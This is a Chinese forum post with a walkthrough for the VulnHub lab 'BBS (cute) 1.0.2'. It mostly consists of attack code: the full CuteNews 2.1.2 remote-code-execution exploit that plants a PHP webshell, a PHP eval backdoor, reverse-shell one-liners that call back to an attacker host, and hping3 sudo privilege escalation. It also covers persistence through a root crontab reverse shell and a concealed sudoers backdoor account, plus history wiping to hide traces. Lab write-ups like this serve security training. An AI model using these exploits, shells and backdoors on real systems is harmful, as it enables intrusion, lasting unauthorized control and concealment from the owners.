WP:靶场BBS (cute): 1.0.2

打印 上一主题 下一主题

主题 886|帖子 886|积分 2658

WP:靶场BBS (cute): 1.0.2

靶场地址:https://www.vulnhub.com/entry/bbs-cute-102,567/#release
1、信息收集
  1. namp -sV 192.168.2.0/24
  2.         Starting Nmap 7.91 ( https://nmap.org ) at 2022-07-29 19:12 CST
  3.     Nmap scan report for 192.168.2.1 (192.168.2.1)
  4.     Host is up (0.0066s latency).
  5.     Not shown: 996 filtered ports
  6.     PORT     STATE SERVICE    VERSION
  7.     25/tcp   open  tcpwrapped
  8.     80/tcp   open  tcpwrapped
  9.     110/tcp  open  tcpwrapped
  10.     1900/tcp open  tcpwrapped
  11.     Nmap scan report for 192.168.2.101 (192.168.2.101)
  12.     Host is up (0.0056s latency).
  13.     Not shown: 996 filtered ports
  14.     PORT     STATE SERVICE    VERSION
  15.     25/tcp   open  tcpwrapped
  16.     80/tcp   open  tcpwrapped
  17.     110/tcp  open  tcpwrapped
  18.     1900/tcp open  tcpwrapped
  19.     Nmap scan report for 192.168.2.105 (192.168.2.105)
  20.     Host is up (0.0025s latency).
  21.     Not shown: 994 filtered ports
  22.     PORT    STATE SERVICE    VERSION
  23.     22/tcp  open  tcpwrapped
  24.     25/tcp  open  tcpwrapped
  25.     80/tcp  open  tcpwrapped
  26.     88/tcp  open  tcpwrapped
  27.     110/tcp open  tcpwrapped
  28.     995/tcp open  tcpwrapped
  29.     Nmap scan report for 192.168.2.255 (192.168.2.255)
  30.     Host is up (0.0069s latency).
  31.     Not shown: 997 closed ports
  32.     PORT    STATE    SERVICE    VERSION
  33.     25/tcp  open     tcpwrapped
  34.     110/tcp open     tcpwrapped
  35.     514/tcp filtered shell
  36.     Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  37.     Nmap done: 256 IP addresses (4 hosts up) scanned in 23.59 seconds
  38. namp -p80 -sV -sC 192.168.2.105
  39.     Starting Nmap 7.91 ( https://nmap.org ) at 2022-07-29 19:14 CST
  40.     Nmap scan report for 192.168.2.105 (192.168.2.105)
  41.     Host is up (0.00057s latency).
  42.     PORT   STATE SERVICE VERSION
  43.     80/tcp open  http    Apache httpd 2.4.38 ((Debian))
  44.     |_http-server-header: Apache/2.4.38 (Debian)
  45.     |_http-title: Apache2 Debian Default Page: It works
  46.     Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  47.     Nmap done: 1 IP address (1 host up) scanned in 6.69 seconds
复制代码
  1. dirbuster        #启动dirbuster目录扫描
复制代码



访问扫描出来的文件

2、整理信息发现漏洞

使用searchsploit搜索漏洞库中包含的cutenews版本
  1. searchsploit cutenews 2.1.2
复制代码

这里可以看到
  1. CuteNews 2.1.2 - 'avatar' 远程代码执行 (M
  2. CuteNews 2.1.2 - 任意文件删除
  3. CuteNews 2.1.2 - 认证的任意文件上传
  4. CuteNews 2.1.2 - 远程代码执行
复制代码
这里我们选择"远程代码执行"
  1. cp /usr/share/exploitdb/exploits/php/webapps/48800.py ./
  2. python3 48800.py
复制代码
发现此脚本不能够直接使用,然后分析了一下脚本内容,发现在脚本URL路径中,需要改动/CuteNews位置,将此文件夹全部去除。改后的exp如下
  1. # Exploit Title: CuteNews 2.1.2 - Remote Code Execution
  2. # Google Dork: N/A
  3. # Date: 2020-09-10
  4. # Exploit Author: Musyoka Ian
  5. # Vendor Homepage: https://cutephp.com/cutenews/downloading.php
  6. # Software Link: https://cutephp.com/cutenews/downloading.php
  7. # Version: CuteNews 2.1.2
  8. # Tested on: Ubuntu 20.04, CuteNews 2.1.2
  9. # CVE : CVE-2019-11447
  10. #! /bin/env python3
  11. import requests
  12. from base64 import b64decode
  13. import io
  14. import re
  15. import string
  16. import random
  17. import sys
  18. banner = """
  19.            _____     __      _  __                     ___   ___  ___
  20.           / ___/_ __/ /____ / |/ /__ _    _____       |_  | <  / |_  |
  21.          / /__/ // / __/ -_)    / -_) |/|/ (_-<      / __/_ / / / __/
  22.          \___/\_,_/\__/\__/_/|_/\__/|__,__/___/     /____(_)_(_)____/
  23.                                 ___  _________                        
  24.                                / _ \/ ___/ __/                        
  25.                               / , _/ /__/ _/                          
  26.                              /_/|_|\___/___/                          
  27.                                                                      
  28.                                                                                                                                                    
  29. """
  30. print (banner)
  31. print ("[->] Usage python3 expoit.py")
  32. print ()
  33. sess = requests.session()
  34. payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>"
  35. ip = input("Enter the URL> ")
  36. def extract_credentials():
  37.     global sess, ip
  38.     url = f"{ip}/cdata/users/lines"
  39.     encoded_creds = sess.get(url).text
  40.     buff = io.StringIO(encoded_creds)
  41.     chash = buff.readlines()
  42.     if "Not Found" in encoded_creds:
  43.             print ("[-] No hashes were found skipping!!!")
  44.             return
  45.     else:
  46.         for line in chash:
  47.             if "<?php die('Direct call - access denied'); ?>" not in line:
  48.                 credentials = b64decode(line)
  49.                 try:
  50.                     sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group(1)
  51.                     print (sha_hash)
  52.                 except:
  53.                     pass
  54. def register():
  55.     global sess, ip
  56.     userpass = "".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) for _ in range(10))
  57.     postdata = {
  58.         "action" : "register",
  59.         "regusername" : userpass,
  60.         "regnickname" : userpass,
  61.         "regpassword" : userpass,
  62.         "confirm" : userpass,
  63.         "regemail" : f"{userpass}@hack.me"
  64.     }
  65.     register = sess.post(f"{ip}/index.php?register", data = postdata, allow_redirects = False)
  66.     if 302 == register.status_code:
  67.         print (f"[+] Registration successful with username: {userpass} and password: {userpass}")
  68.     else:
  69.         sys.exit()
  70. def send_payload(payload):
  71.     global ip
  72.     token = sess.get(f"{ip}/index.php?mod=main&opt=personal").text
  73.     signature_key = re.search('signature_key" value="(.*?)"', token).group(1)
  74.     signature_dsi = re.search('signature_dsi" value="(.*?)"', token).group(1)
  75.     logged_user = re.search('disabled="disabled" value="(.*?)"', token).group(1)
  76.     print (f"signature_key: {signature_key}")
  77.     print (f"signature_dsi: {signature_dsi}")
  78.     print (f"logged in user: {logged_user}")
  79.     files = {
  80.         "mod" : (None, "main"),
  81.         "opt" : (None, "personal"),
  82.         "__signature_key" : (None, f"{signature_key}"),
  83.         "__signature_dsi" : (None, f"{signature_dsi}"),
  84.         "editpassword" : (None, ""),
  85.         "confirmpassword" : (None, ""),
  86.         "editnickname" : (None, logged_user),
  87.         "avatar_file" : (f"{logged_user}.php", payload),
  88.         "more[site]" : (None, ""),
  89.         "more[about]" : (None, "")
  90.     }
  91.     payload_send = sess.post(f"{ip}/index.php", files = files).text
  92.     print("============================\nDropping to a SHELL\n============================")
  93.     while True:
  94.         print ()
  95.         command = input("command > ")
  96.         postdata = {"cmd" : command}
  97.         output = sess.post(f"{ip}/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)
  98.         if 404 == output.status_code:
  99.             print ("sorry i can't find your webshell try running the exploit again")
  100.             sys.exit()
  101.         else:
  102.             output = re.sub("GIF8;", "", output.text)
  103.             print (output.strip())
  104. if __name__ == "__main__":
  105.     print ("================================================================\nUsers SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\n================================================================")
  106.     extract_credentials()
  107.     print ("================================================================")
  108.     print()
  109.     print ("=============================\nRegistering a users\n=============================")
  110.     register()
  111.     print()
  112.     print("=======================================================\nSending Payload\n=======================================================")
  113.     send_payload(payload)
  114.     print ()
复制代码
3、利用漏洞
  1. python3 ./48800.py
复制代码

尝试一句话

写一句话
  1. echo "<?php @eval($_POST['a']);?>" >> /var/www/html/a.php
复制代码

反弹并升级shell

但即使是登录用户也是显示500权限不够,看来可能是使用的www-data用户,权限不够,需要想办法升级shell并且提权
  1. # 反弹shell总结(https://xz.aliyun.com/t/9488)
  2. # 被攻击端
  3. netcat 192.168.2.106 2333 -e /bin/bash
  4. bash -i >& /dev/tcp/192.168.2.106/2333 0>&1
  5. bash -c "bash -i >& /dev/tcp/192.168.2.106/2333 0>&1"
  6. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.106 1234 >/tmp/f
复制代码
升级至交互shell,利用反弹shell
  1. # 被攻击端
  2. bash -c "/bin/bash -i >& /dev/tcp/192.168.2.106/2333 0>&1"
  3. # 攻击端
  4. netcat -lvvp 2333
复制代码

交互shell补充

本次测试中发现,使用上述确实已经提升到了/bin/bash的交互shell,但后续因为需要利用hping3的控制台,上述的交互shell进入后没有回显,有点问题。所以需要借助python,调用以下pty伪终端平台(https://docs.python.org/zh-cn/3/library/pty.html)
  1. python -c "import pty;pty.spawn('/bin/bash')"
复制代码

提权

利用sudo工具提权,查看一下sudo的配置情况
  1. sudo -l
复制代码

根据提示,利用hping3将权利提高至root(https://www.cnblogs.com/zlgxzswjy/p/14115306.html)
  1. /usr/sbin/hping3
复制代码
  1. cat /root/root.txt
复制代码

4、维持权限

写入一句话时发现PHP没有开启此变量,故需要调整PHP配置文件等

为方便操作,直接写定时任务,并尝试使用root用户进行每隔一分钟反弹
  1. # 之前连接靶机并且转为hping3的shell
  2. echo "*/1 * * * * root netcat 192.168.2.106 3322 -e /bin/bash" >> /etc/crontab
  3. # 攻击端
  4. nc -lvvp 3322
  5. python -c "import pty;pty.spawn('/bin/bash')"
复制代码

使用root用户,直接修改ssh服务,并添加类似root用户权限的用户
  1. adduser rin
  2. usermod -g root rin
  3. # 推荐下面这种方法(改动较少,更容易隐藏)
  4. adduser rin
  5. echo "rin ALL=(ALL) ALL" >> /etc/sudoers
  6. # ssh连接
  7. ssh rin@192.168.2.105
复制代码

  1. #########补充:赋予root权限#################
  2. 方法一:修改 /etc/sudoers 文件,找到下面一行,把前面的注释(#)去掉
  3. ## Allows people in group wheel to run all commands
  4. %wheel    ALL=(ALL)    ALL
  5. 然后修改用户,使其属于root组(wheel),命令如下:
  6. #usermod -g root tommy
  7. 修改完毕,现在可以用tommy帐号登录,然后用命令 su – ,即可获得root权限进行操作。
  8. 方法二:修改 /etc/sudoers 文件,找到下面一行,在root下面添加一行,如下所示:
  9. ## Allow root to run any commands anywhere
  10. root    ALL=(ALL)     ALL
  11. tommy   ALL=(ALL)     ALL
  12. 修改完毕,现在可以用tommy帐号登录,然后用命令 sudo – ,即可获得root权限进行操作。
  13. 方法三:修改 /etc/passwd 文件,找到如下行,把用户ID修改为 0 ,如下所示:
  14. tommy:x:0:33:tommy:/data/webroot:/bin/bash
复制代码
5、清除痕迹
  1. https://www.cnblogs.com/xiaozi/p/13648156.html
  2. https://blog.csdn.net/Captain_RB/article/details/111653887
  3. hping3> history clear
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王柳

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表